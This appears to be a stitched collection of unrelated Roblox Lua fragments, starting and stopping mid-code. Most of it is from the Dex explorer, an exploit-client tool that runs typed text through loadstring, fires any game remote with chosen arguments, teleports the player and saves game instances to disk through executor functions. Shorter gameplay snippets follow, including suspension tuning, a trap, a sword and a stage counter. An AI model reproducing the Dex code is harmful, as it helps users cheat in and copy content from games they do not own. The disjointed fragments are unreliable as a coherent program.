tonumber(list[1]) == nil then return nil end local newVal = tonumber(list[1]) or 0 return NumberRange.new(newVal) end if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return NumberRange.new(x,y) elseif type == "Script" then local success,err = ypcall(function() _G.D_E_X_DONOTUSETHISPLEASE = nil loadstring( "_G.D_E_X_DONOTUSETHISPLEASE = "..value )() return _G.D_E_X_DONOTUSETHISPLEASE end) if err then return nil end else return nil end end local function ToPropValue(value,type) if type == "Vector2" then local list = Split(value,",") if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return Vector2.new(x,y) elseif type == "Vector3" then local list = Split(value,",") if #list < 3 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 local z = tonumber(list[3]) or 0 return Vector3.new(x,y,z) elseif type == "Color3" then local list = Split(value,",") if #list < 3 then return nil end local r = tonumber(list[1]) or 0 local g = tonumber(list[2]) or 0 local b = tonumber(list[3]) or 0 return Color3.new(r/255,g/255, b/255) elseif type == "UDim2" then local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",") if #list < 4 then return nil end local xScale = tonumber(list[1]) or 0 local xOffset = tonumber(list[2]) or 0 local yScale = tonumber(list[3]) or 0 local yOffset = tonumber(list[4]) or 0 return UDim2.new(xScale, xOffset, yScale, yOffset) elseif type == "Content" then return value elseif type == "float" or type == "int" or type == "double" then return tonumber(value) elseif type == "string" then return value elseif type == "NumberRange" then local list = Split(value,",") if #list == 1 then if tonumber(list[1]) == nil then return nil end local newVal = tonumber(list[1]) or 0 return NumberRange.new(newVal) end if #list < 2 then return nil end local x = tonumber(list[1]) or 0 local y = tonumber(list[2]) or 0 return NumberRange.new(x,y) elseif string.sub(value,1,4) == "Enum" then local getEnum = value while true do local x,y = string.find(getEnum,".") if y then getEnum = string.sub(getEnum,y+1) else break end end print(getEnum) return getEnum else return nil end end function PromptRemoteCaller(inst) if CurrentRemoteWindow then CurrentRemoteWindow:Destroy() CurrentRemoteWindow = nil end CurrentRemoteWindow = RemoteWindow:Clone() CurrentRemoteWindow.Parent = explorerPanel.Parent CurrentRemoteWindow.Visible = true local displayValues = false local ArgumentList = CurrentRemoteWindow.MainWindow.Arguments local ArgumentTemplate = CurrentRemoteWindow.MainWindow.ArgumentTemplate if inst:IsA("RemoteEvent") then CurrentRemoteWindow.Title.Text = "Fire Event" CurrentRemoteWindow.MainWindow.Ok.Text = "Fire" CurrentRemoteWindow.MainWindow.DisplayReturned.Visible = false CurrentRemoteWindow.MainWindow.Desc2.Visible = false end local newArgument = ArgumentTemplate:Clone() newArgument.Parent = ArgumentList newArgument.Visible = true newArgument.Type.MouseButton1Down:connect(function() createDDown(newArgument.Type,function(choice) newArgument.Type.Text = choice end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange") end) CurrentRemoteWindow.MainWindow.Ok.MouseButton1Up:connect(function() if CurrentRemoteWindow and inst.Parent ~= nil then local MyArguments = {} for i,v in pairs(ArgumentList:GetChildren()) do table.insert(MyArguments,ToValue(v.Value.Text,v.Type.Text)) end if inst:IsA("RemoteFunction") then if displayValues then spawn(function() local myResults = inst:InvokeServer(unpack(MyArguments)) if myResults then CreateTableCaution("Remote Caller",myResults) else CreateCaution("Remote Caller","This remote did not return anything.") end end) else spawn(function() inst:InvokeServer(unpack(MyArguments)) end) end else inst:FireServer(unpack(MyArguments)) end CurrentRemoteWindow:Destroy() CurrentRemoteWindow = nil end end) CurrentRemoteWindow.MainWindow.Add.MouseButton1Up:connect(function() if CurrentRemoteWindow then local newArgument = ArgumentTemplate:Clone() newArgument.Position = UDim2.new(0,0,0,#ArgumentList:GetChildren() * 20) newArgument.Parent = ArgumentList ArgumentList.CanvasSize = UDim2.new(0,0,0,#ArgumentList:GetChildren() * 20) newArgument.Visible = true newArgument.Type.MouseButton1Down:connect(function() createDDown(newArgument.Type,function(choice) newArgument.Type.Text = choice end,"Script","Number","String","Color3","Vector3","Vector2","UDim2","NumberRange") end) end end) CurrentRemoteWindow.MainWindow.Subtract.MouseButton1Up:connect(function() if CurrentRemoteWindow then if #ArgumentList:GetChildren() > 1 then ArgumentList:GetChildren()[#ArgumentList:GetChildren()]:Destroy() ArgumentList.CanvasSize = UDim2.new(0,0,0,#ArgumentList:GetChildren() * 20) end end end) CurrentRemoteWindow.MainWindow.Cancel.MouseButton1Up:connect(function() if CurrentRemoteWindow then CurrentRemoteWindow:Destroy() CurrentRemoteWindow = nil end end) CurrentRemoteWindow.MainWindow.DisplayReturned.MouseButton1Up:connect(function() if displayValues then displayValues = false CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = false else displayValues = true CurrentRemoteWindow.MainWindow.DisplayReturned.enabled.Visible = true end end) end function PromptSaveInstance(inst) if not SaveInstance and not _G.SaveInstance then CreateCaution("SaveInstance Missing","You do not have the SaveInstance function installed. Please go to RaspberryPi's thread to retrieve it.") return end if CurrentSaveInstanceWindow then CurrentSaveInstanceWindow:Destroy() CurrentSaveInstanceWindow = nil if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy() end end CurrentSaveInstanceWindow = SaveInstanceWindow:Clone() CurrentSaveInstanceWindow.Parent = explorerPanel.Parent CurrentSaveInstanceWindow.Visible = true local filename = CurrentSaveInstanceWindow.MainWindow.FileName local saveObjects = true local overwriteCaution = false CurrentSaveInstanceWindow.MainWindow.Save.MouseButton1Up:connect(function() if readfile and getelysianpath then if readfile(getelysianpath()..filename.Text..".rbxmx") then if not overwriteCaution then overwriteCaution = true local newCaution = ConfirmationWindow:Clone() newCaution.Name = "SaveInstanceOverwriteCaution" newCaution.MainWindow.Desc.Text = "The file, "..filename.Text..".rbxmx, already exists. Overwrite?" newCaution.Parent = explorerPanel.Parent newCaution.Visible = true newCaution.MainWindow.Yes.MouseButton1Up:connect(function() ypcall(function() SaveInstance(inst,filename.Text..".rbxmx",not saveObjects) end) overwriteCaution = false newCaution:Destroy() if CurrentSaveInstanceWindow then CurrentSaveInstanceWindow:Destroy() CurrentSaveInstanceWindow = nil end end) newCaution.MainWindow.No.MouseButton1Up:connect(function() overwriteCaution = false newCaution:Destroy() end) end else ypcall(function() SaveInstance(inst,filename.Text..".rbxmx",not saveObjects) end) if CurrentSaveInstanceWindow then CurrentSaveInstanceWindow:Destroy() CurrentSaveInstanceWindow = nil if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy() end end end else ypcall(function() if SaveInstance then SaveInstance(inst,filename.Text..".rbxmx",not saveObjects) else _G.SaveInstance(inst,filename.Text,not saveObjects) end end) if CurrentSaveInstanceWindow then CurrentSaveInstanceWindow:Destroy() CurrentSaveInstanceWindow = nil if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy() end end end end) CurrentSaveInstanceWindow.MainWindow.Cancel.MouseButton1Up:connect(function() if CurrentSaveInstanceWindow then CurrentSaveInstanceWindow:Destroy() CurrentSaveInstanceWindow = nil if explorerPanel.Parent:FindFirstChild("SaveInstanceOverwriteCaution") then explorerPanel.Parent.SaveInstanceOverwriteCaution:Destroy() end end end) CurrentSaveInstanceWindow.MainWindow.SaveObjects.MouseButton1Up:connect(function() if saveObjects then saveObjects = false CurrentSaveInstanceWindow.MainWindow.SaveObjects.enabled.Visible = false else saveObjects = true CurrentSaveInstanceWindow.MainWindow.SaveObjects.enabled.Visible = true end end) end function DestroyRightClick() if currentRightClickMenu then currentRightClickMenu:Destroy() currentRightClickMenu = nil end if CurrentInsertObjectWindow and CurrentInsertObjectWindow.Visible then CurrentInsertObjectWindow.Visible = false end end function rightClickMenu(sObj) local mouse = game.Players.LocalPlayer:GetMouse() currentRightClickMenu = CreateRightClickMenu( {"Cut","Copy","Paste Into","Duplicate","Delete","Group","Ungroup","Select Children","Teleport To","Insert Part","Insert Object","View Script","Save Instance","Call Function","Call Remote"}, "", false, function(option) if option == "Cut" then if not Option.Modifiable then return end clipboard = {} local list = Selection.List local cut = {} for i = 1,#list do local obj = list[i]:Clone() if obj then table.insert(clipboard,obj) table.insert(cut,list[i]) end end for i = 1,#cut do pcall(delete,cut[i]) end updateActions() elseif option == "Copy" then if not Option.Modifiable then return end clipboard = {} local list = Selection.List for i = 1,#list do table.insert(clipboard,list[i]:Clone()) end updateActions() elseif option == "Paste Into" then if not Option.Modifiable then return end local parent = Selection.List[1] or workspace for i = 1,#clipboard do clipboard[i]:Clone().Parent = parent end elseif option == "Duplicate" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do list[i]:Clone().Parent = Selection.List[1].Parent or workspace end elseif option == "Delete" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do pcall(delete,list[i]) end Selection:Set({}) elseif option == "Group" then if not Option.Modifiable then return end local newModel = Instance.new("Model") local list = Selection:Get() newModel.Parent = Selection.List[1].Parent or workspace for i = 1,#list do list[i].Parent = newModel end Selection:Set({}) elseif option == "Ungroup" then if not Option.Modifiable then return end local ungrouped = {} local list = Selection:Get() for i = 1,#list do if list[i]:IsA("Model") then for i2,v2 in pairs(list[i]:GetChildren()) do v2.Parent = list[i].Parent or workspace table.insert(ungrouped,v2) end pcall(delete,list[i]) end end Selection:Set({}) if SettingsRemote:Invoke("SelectUngrouped") then for i,v in pairs(ungrouped) do Selection:Add(v) end end elseif option == "Select Children" then if not Option.Modifiable then return end local list = Selection:Get() Selection:Set({}) Selection:StopUpdates() for i = 1,#list do for i2,v2 in pairs(list[i]:GetChildren()) do Selection:Add(v2) end end Selection:ResumeUpdates() elseif option == "Teleport To" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do if list[i]:IsA("BasePart") then pcall(function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = list[i].CFrame end) break end end elseif option == "Insert Part" then if not Option.Modifiable then return end local insertedParts = {} local list = Selection:Get() for i = 1,#list do pcall(function() local newPart = Instance.new("Part") newPart.Parent = list[i] newPart.CFrame = CFrame.new(game.Players.LocalPlayer.Character.Head.Position) + Vector3.new(0,3,0) table.insert(insertedParts,newPart) end) end elseif option == "Save Instance" then if not Option.Modifiable then return end local list = Selection:Get() if #list == 1 then list[1].Archivable = true ypcall(function()PromptSaveInstance(list[1]:Clone())end) elseif #list > 1 then local newModel = Instance.new("Model") newModel.Name = "SavedInstances" for i = 1,#list do ypcall(function() list[i].Archivable = true list[i]:Clone().Parent = newModel end) end PromptSaveInstance(newModel) end elseif option == "Call Remote" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do if list[i]:IsA("RemoteFunction") or list[i]:IsA("RemoteEvent") then PromptRemoteCaller(list[i]) break end end elseif option == "View Script" then if not Option.Modifiable then return end local list = Selection:Get() for i = 1,#list do if list[i]:IsA("LocalScript") or list[i]:IsA("ModuleScript") then ScriptEditorEvent:Fire(list[i]) end end end end) currentRightClickMenu.Parent = explorerPanel.Parent currentRightClickMenu.Position = UDim2.new(0,mouse.X,0,mouse.Y) if currentRightClickMenu.AbsolutePosition.X + currentRightClickMenu.AbsoluteSize.X > explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X then currentRightClickMenu.Position = UDim2.new(0, explorerPanel.AbsolutePosition.X + explorerPanel.AbsoluteSize.X - currentRightClickMenu.AbsoluteSize.X, 0, mouse.Y) end end local function cancelReparentDrag()end local function cancelSelectDrag()end do local listEntries = {} local nameConnLookup = {} local mouseDrag = Create('ImageButton',{ Name = "MouseDrag"; Position = UDim2.new(-0.25,0,-0.25,0); Size = UDim2.new(1.5,0,1.5,0); Transparency = 1; AutoButtonColor = false; Active = true; ZIndex = 10; }) local function dragSelect(last,add,button) local connDrag local conUp conDrag = mouseDrag.MouseMoved:connect(function(x,y) local pos = Vector2.new(x,y) - listFrame.AbsolutePosition local size = listFrame.AbsoluteSize if pos.x < 0 or pos.x > size.x or pos.y < 0 or pos.y > size.y then return end local i = math.ceil(pos.y/ENTRY_BOUND) + scrollBar.ScrollIndex -- Mouse may have made a large step, so interpolate between the -- last index and the current. for n = i<last and i or last, i>last and i or last do local node = TreeList[n] if node then if add then Selection:Add(node.Object) else Selection:Remove(node.Object) end end end last = i end) function cancelSelectDrag() mouseDrag.Parent = nil conDrag:disconnect() conUp:disconnect() function cancelSelectDrag()end end conUp = mouseDrag[button]:connect(cancelSelectDrag) mouseDrag.Parent = GetScreen(listFrame) end local function dragReparent(object,dragGhost,clickPos,ghostOffset) local connDrag local conUp local conUp2 local parentIndex = nil local dragged = false local parentHighlight = Create('Frame',{ Transparency = 1; Visible = false; Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3.new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2.new(0,0,0,0); Size = UDim2.new(1,0,0,1); }); Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3.new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2.new(1,0,0,0); Size = UDim2.new(0,1,1,0); }); Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3.new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2.new(0,0,1,0); Size = UDim2.new(1,0,0,1); }); Create('Frame',{ BorderSizePixel = 0; BackgroundColor3 = Color3.new(0,0,0); BackgroundTransparency = 0.1; Position = UDim2.new(0,0,0,0); Size = UDim2.new(0,1,1,0); }); }) SetZIndex(parentHighlight,9) conDrag = mouseDrag.MouseMoved:connect(function(x,y) local dragPos = Vector2.new(x,y) if dragged then local pos = dragPos - listFrame.AbsolutePosition local size = listFrame.AbsoluteSize parentIndex = nil parentHighlight.Visible = false if pos.x >= 0 and pos.x <= size.x and pos.y >= 0 and pos.y <= size.y + ENTRY_SIZE*2 then local i = math.ceil(pos.y/ENTRY_BOUND-2) local node = TreeList[i + scrollBar.ScrollIndex] if node and node.Object ~= object and not object:IsAncestorOf(node.Object) then parentIndex = i local entry = listEntries[i] if entry then parentHighlight.Visible = true parentHighlight.Position = UDim2.new(0,1,0,entry.AbsolutePosition.y-listFrame.AbsolutePosition.y) parentHighlight.Size = UDim2.new(0,size.x-4,0,entry.AbsoluteSize.y) end end end dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y) elseif (clickPos-dragPos).magnitude > 8 then dragged = true SetZIndex(dragGhost,9) dragGhost.IndentFrame.Transparency = 0.25 dragGhost.IndentFrame.EntryText.TextColor3 = GuiColor.TextSelected dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y) dragGhost.Parent = GetScreen(listFrame) parentHighlight.Parent = listFrame end end) function cancelReparentDrag() mouseDrag.Parent = nil conDrag:disconnect() conUp:disconnect() conUp2:disconnect() dragGhost:Destroy() parentHighlight:Destroy() function cancelReparentDrag()end end local wasSelected = Selection.Selected[object] if not wasSelected and Option.Selectable then Selection:Set({object}) end conUp = mouseDrag.MouseButton1Up:connect(function() cancelReparentDrag() if dragged then if parentIndex then local parentNode = TreeList[parentIndex + scrollBar.ScrollIndex] if parentNode then parentNode.Expanded = true local parentObj = parentNode.Object local function parent(a,b) a.Parent = b end if Option.Selectable then local list = Selection.List for i = 1,#list do pcall(parent,list[i],parentObj) end else pcall(parent,object,parentObj) end end end else -- do selection click if wasSelected and Option.Selectable then Selection:Set({}) end end end) conUp2 = mouseDrag.MouseButton2Down:connect(function() cancelReparentDrag() end) mouseDrag.Parent = GetScreen(listFrame) end local entryTemplate = Create('ImageButton',{ Name = "Entry"; Transparency = 1; AutoButtonColor = false; Position = UDim2.new(0,0,0,0); Size = UDim2.new(1,0,0,ENTRY_SIZE); Create('Frame',{ Name = "IndentFrame"; BackgroundTransparency = 1; BackgroundColor3 = GuiColor.Selected; BorderColor3 = GuiColor.BorderSelected; Position = UDim2.new(0,0,0,0); Size = UDim2.new(1,0,1,0); Create(Icon('ImageButton',0),{ Name = "Expand"; AutoButtonColor = false; Position = UDim2.new(0,-GUI_SIZE,0.5,-GUI_SIZE/2); Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE); }); Create(Icon(nil,0),{ Name = "ExplorerIcon"; Position = UDim2.new(0,2+ENTRY_PADDING,0.5,-GUI_SIZE/2); Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE); }); Create('TextLabel',{ Name = "EntryText"; BackgroundTransparency = 1; TextColor3 = GuiColor.Text; TextXAlignment = 'Left'; TextYAlignment = 'Center'; Font = FONT; FontSize = FONT_SIZE; Text = ""; Position = UDim2.new(0,2+ENTRY_SIZE+4,0,0); Size = UDim2.new(1,-2,1,0); }); }); }) function scrollBar.UpdateCallback(self) for i = 1,self.VisibleSpace do local node = TreeList[i + self.ScrollIndex] if node then local entry = listEntries[i] if not entry then entry = Create(entryTemplate:Clone(),{ Position = UDim2.new(0,2,0,ENTRY_BOUND*(i-1)+2); Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE); ZIndex = listFrame.ZIndex; }) listEntries[i] = entry local expand = entry.IndentFrame.Expand expand.MouseEnter:connect(function() local node = TreeList[i + self.ScrollIndex] if #node > 0 then if node.Expanded then Icon(expand,NODE_EXPANDED_OVER) else Icon(expand,NODE_COLLAPSED_OVER) end end end) expand.MouseLeave:connect(function() local node = TreeList[i + self.ScrollIndex] if #node > 0 then if node.Expanded then Icon(expand,NODE_EXPANDED) else Icon(expand,NODE_COLLAPSED) end end end) expand.MouseButton1Down:connect(function() local node = TreeList[i + self.ScrollIndex] if #node > 0 then node.Expanded = not node.Expanded if node.Object == explorerPanel.Parent and node.Expanded then CreateCaution("Warning","Please be careful when editing instances inside here, this is like the System32 of Dex and modifying objects here can break Dex.") end -- use raw update so the list updates instantly rawUpdateList() end end) entry.MouseButton1Down:connect(function(x,y) local node = TreeList[i + self.ScrollIndex] DestroyRightClick() if GetAwaitRemote:Invoke() then bindSetAwaiting:Fire(node.Object) return end if not HoldingShift then lastSelectedNode = i + self.ScrollIndex end if HoldingShift and not filteringWorkspace() then if lastSelectedNode then if i + self.ScrollIndex - lastSelectedNode > 0 then Selection:StopUpdates() for i2 = 1, i + self.ScrollIndex - lastSelectedNode do local newNode = TreeList[lastSelectedNode + i2] if newNode then Selection:Add(newNode.Object) end end Selection:ResumeUpdates() else Selection:StopUpdates() for i2 = i + self.ScrollIndex - lastSelectedNode, 1 do local newNode = TreeList[lastSelectedNode + i2] if newNode then Selection:Add(newNode.Object) end end Selection:ResumeUpdates() end end return end if HoldingCtrl then if Selection.Selected[node.Object] then Selection:Remove(node.Object) else Selection:Add(node.Object) end return end if Option.Modifiable then local pos = Vector2.new(x,y) dragReparent(node.Object,entry:Clone(),pos,entry.AbsolutePosition-pos) elseif Option.Selectable then if Selection.Selected[node.Object] then Selection:Set({}) else Selection:Set({node.Object}) end dragSelect(i+self.ScrollIndex,true,'MouseButton1Up') end end) entry.MouseButton2Down:connect(function() if not Option.Selectable then return end DestroyRightClick() curSelect = entry local node = TreeList[i + self.ScrollIndex] if GetAwaitRemote:Invoke() then bindSetAwaiting:Fire(node.Object) return end if not Selection.Selected[node.Object] then Selection:Set({node.Object}) end end) entry.MouseButton2Up:connect(function() if not Option.Selectable then return end local node = TreeList[i + self.ScrollIndex] if checkMouseInGui(curSelect) then rightClickMenu(node.Object) end end) entry.Parent = listFrame end entry.Visible = true local object = node.Object -- update expand icon if #node == 0 then entry.IndentFrame.Expand.Visible = false elseif node.Expanded then Icon(entry.IndentFrame.Expand,NODE_EXPANDED) entry.IndentFrame.Expand.Visible = true else Icon(entry.IndentFrame.Expand,NODE_COLLAPSED) entry.IndentFrame.Expand.Visible = true end -- update explorer icon Icon(entry.IndentFrame.ExplorerIcon,ExplorerIndex[object.ClassName] or 0) -- update indentation local w = (node.Depth)*(2+ENTRY_PADDING+GUI_SIZE) entry.IndentFrame.Position = UDim2.new(0,w,0,0) entry.IndentFrame.Size = UDim2.new(1,-w,1,0) -- update name change detection if nameConnLookup[entry] then nameConnLookup[entry]:disconnect() end local text = entry.IndentFrame.EntryText text.Text = object.Name nameConnLookup[entry] = node.Object.Changed:connect(function(p) if p == 'Name' then text.Text = object.Name end end) -- update selection entry.IndentFrame.Transparency = node.Selected and 0 or 1 text.TextColor3 = GuiColor[node.Selected and 'TextSelected' or 'Text'] entry.Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE) elseif listEntries[i] then listEntries[i].Visible = false end end for i = self.VisibleSpace+1,self.TotalSpace do local entry = listEntries[i] if entry then listEntries[i] = nil entry:Destroy() end end end function scrollBarH.UpdateCallback(self) for i = 1,scrollBar.VisibleSpace do local node = TreeList[i + scrollBar.ScrollIndex] if node then local entry = listEntries[i] if entry then entry.Position = UDim2.new(0,2 - scrollBarH.ScrollIndex,0,ENTRY_BOUND*(i-1)+2) end end end end Connect(listFrame.Changed,function(p) if p == 'AbsoluteSize' then rawUpdateSize() end end) local wheelAmount = 6 explorerPanel.MouseWheelForward:connect(function() if scrollBar.VisibleSpace - 1 > wheelAmount then scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount) else scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace) end end) explorerPanel.MouseWheelBackward:connect(function() if scrollBar.VisibleSpace - 1 > wheelAmount then scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount) else scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace) end end) end
--Colour ---------------------------------------------
script.Parent.Configuration.Colour.Changed:connect(function() Model.Tilt.Lamp.SpotLight.Color = script.Parent.Configuration.Colour.Value for i,v in pairs(Model.Tilt:GetChildren()) do if v.Name == "Lamp" then v.BrickColor = BrickColor.new(script.Parent.Configuration.Colour.Value) end end end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Meme" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- make the earth circle the sun around the y axis every 20 seconds -- maintain the current distance between the earth and sun -- update the rotation every 1/60s
local function orbitEarth() local angle = 0 while true do wait(1/60) angle += (2*math.pi)/1200 -- 20 seconds to complete a circle earth.Position = sun.Position + Vector3.new(math.cos(angle), 0, math.sin(angle)) * distance end end
-- This should work with FilteringEnabled
while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name) == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Head") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Humanoid") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("HumanoidRootPart") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Left Shoulder") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Right Shoulder") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Neck") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Left Hip") == nil do game:GetService("RunService").RenderStepped:wait() end while game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name):FindFirstChild("Torso"):FindFirstChild("Right Hip") == nil do game:GetService("RunService").RenderStepped:wait() end
--[[ I should note that this works amazingly in third person, but not so much in first person. --]]
debounce = true local trap = script.Parent.Parent function onTouched(i) local h = i.Parent:findFirstChild("Humanoid") if (h ~= nil and debounce == true) then --If the part is a player then if script.Parent.Captured.Value == false then debounce = false h.Health = h.Health - h.Health/25 --Take 25% of the player's health away i.Parent["LeftFoot"].Anchored = true --Anchor their legs i.Parent["RightFoot"].Anchored = true trap.Open.Transparency = 1 --Close the trap trap.Close.Transparency = 0 script.Parent.Bang:Play() --Play audios script.Parent.Ow:Play() wait(0.5) i.Parent.HumanoidRootPart.Anchored = true --Anchor their torso so they don't flail around script.Parent.Captured.Value = true wait(3) --Wait 3 seconds script.Parent.ClickDetector.MaxActivationDistance = 16 --Make it so that you can set up the trap again i.Parent["RightFoot"].Anchored = false --Free the player i.Parent["LeftFoot"].Anchored = false h.Jump = true --Make sure the player isn't glitched i.Parent.HumanoidRootPart.Anchored = false debounce = true end end end script.Parent.Touched:connect(onTouched)
-- Create the path object
local path = PathfindingService:CreatePath()
--------LEFT DOOR --------
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--
local target={} local stageChunk = script.Parent local function onPartTouch(otherPart) warn("1") local partParent = otherPart.Parent local humanoid = partParent:FindFirstChildWhichIsA("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(partParent) local flag=0 for index = 1, #target do if (target[index] == player) then flag=1 end end if flag == 0 then local leaderstats = player.leaderstats local stageStat = leaderstats and leaderstats:FindFirstChild("Stage") if stageStat then stageStat.Value = stageStat.Value + added table.insert(target, player) -- обновление данных в базе данных local stageStore = DataStore2("stage", player) -- stageStore:Increment(added) -- Give them 1 point stageStore:Set(stageStore:Get(0) + added ) end end end end stageChunk.Touched:Connect(onPartTouch)
--local MOUSE_ICON = 'rbxasset://textures/GunCursor.png' --local RELOADING_ICON = 'rbxasset://textures/GunWaitCursor.png'
---[[ Font Settings ]]
module.DefaultFont = Enum.Font.RobotoMono module.ChatBarFont = Enum.Font.RobotoCondensed
-- Copied from Grimgold Periastron Beta
local Tool = script.Parent local Sword = Tool.Handle local GLib = require(206209239) local vCharacter local myTorso local myHumanoid local equipped = false local debris = game:GetService("Debris") function tagHumanoid(humanoid, player) if humanoid then local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid debris:AddItem(creatorTag, 1) end end function UntagHumanoid(humanoid) for _, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function cut(hit) local humanoid local vPlayer if hit and hit.Parent and myHumanoid then if hit.Parent:IsA("Accoutrement") then humanoid = hit.Parent.Parent:FindFirstChildOfClass("Humanoid") else humanoid = hit.Parent:FindFirstChildOfClass("Humanoid") end vPlayer = game.Players:GetPlayerFromCharacter(vCharacter) if humanoid and humanoid ~= myHumanoid and not GLib.IsTeammate(GLib.GetPlayerFromPart(Tool), GLib.GetPlayerFromPart(humanoid)) then UntagHumanoid(humanoid) tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(27) end end end function onEquipped() vCharacter = Tool.Parent myTorso = vCharacter:FindFirstChild("HumanoidRootPart") myHumanoid = 